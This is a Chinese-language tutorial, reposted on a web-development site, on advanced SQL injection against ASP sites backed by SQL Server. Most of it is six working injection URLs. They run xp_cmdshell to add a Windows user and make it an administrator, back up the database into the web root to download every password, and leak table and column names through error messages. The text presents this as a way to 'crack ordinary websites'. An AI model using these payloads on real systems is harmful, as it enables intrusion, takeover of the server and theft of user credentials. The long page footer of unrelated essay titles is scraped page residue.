SQL注入漏洞全接触--高级篇(一)


看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。  

  第一节、利用系统表注入SQLServer数据库  

  SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:  

  ① http://Site/url.ASP?id=1;exec master..xp_cmdshell “net user name password /add”--

  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:  

  ② http://Site/url.ASP?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.ASP?id=1 ;;and db_name()>0  

  前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。  

  ④ http://Site/url.ASP?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--  

  这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

  ⑤ http://Site/url.ASP?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0  

  前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。  

  ⑥ http://Site/url.ASP?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0 

  从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧

本文作者:



相关阅读:
Javascript 浅拷贝、深拷贝的实现代码
CSS图片翻转菜单
ASP.NET DataGrid的多行提交
Windows Server 2008添加Hyper-V组件
JavaScript延时效果比较不错的
asp.net ToString()格式设置大全
用sql语句实现分离和附加数据库的方法
CSS教程:CSS兼容的技巧
在DIV+CSS排版中新闻列表的制作方法
javascript实现的一个图片转移效果
CMD 运行指令
Vista系统IIS 7.0的技巧
让报表处理期初和期末之间的数据
工作中常用到的JS表单验证代码(包括例子)
快速导航
PHP MySQL HTML CSS JavaScript MSSQL AJAX .NET JSP Linux Mac ASP 服务器 SQL jQuery C# C++ java Android IOS oracle MongoDB SQLite wamp 交通频道 作文范文 腊八节的作文500字 爱,不变作文300字 午饭打翻后作文300字 如何做个魅力无穷的老男人 文化产业管理专业毕业实习报告 无言便不相对 适者生存作文400字 离别一刻 小学六年级作文600字:我的五 2 我的班 一 凝望红海滩阅读及答案 初生初育证明格式 怀想除夕1200字 挫折是美丽的作文700字 成长的快乐450字 小学作文中精辟句子 精彩的创意环保服装秀班会 无论怎么努力也得不到的爱情 2016关于法律服务进基层活动总结 落幕的烟花,绚烂美好 电力调度员实习报告 关于农村居民医疗保障问题及建议 电影《盲区》观后感 《秋浦歌(其十四)》李白唐诗鉴赏 2016端午节放假通知 人生犹如手握沙 小白兔的自述300字 高考之外 感谢有您作文800字 你努力的样子,看起来还挺美 真正的爱情,是让自己成为更好的人 雨说·花季·花祭作文150字 己组词 高中高二作文900字:本 九月大学生的入党申请书 村委会发展老龄事业工作纪实 太阳能自划船的比赛 运动会上的稿件13篇 2017年健身计划表 小冬。 经典人生哲理大全 读《八荣八耻》有感作文400字 人与动物的友情就在我们身边作文600字 初中英语教师考核总结 沧海寂寞 中考满分作文100字:聊城 县综合整治土地保障科学发展实施方案 家庭教育误区,那些误导孩子一生的话 关爱留守儿童讲话材料 小学六年级作文750字:读《震不垮的四川娃子》有感 阴影,光明的影子

Copyright © 2016 phpStudy |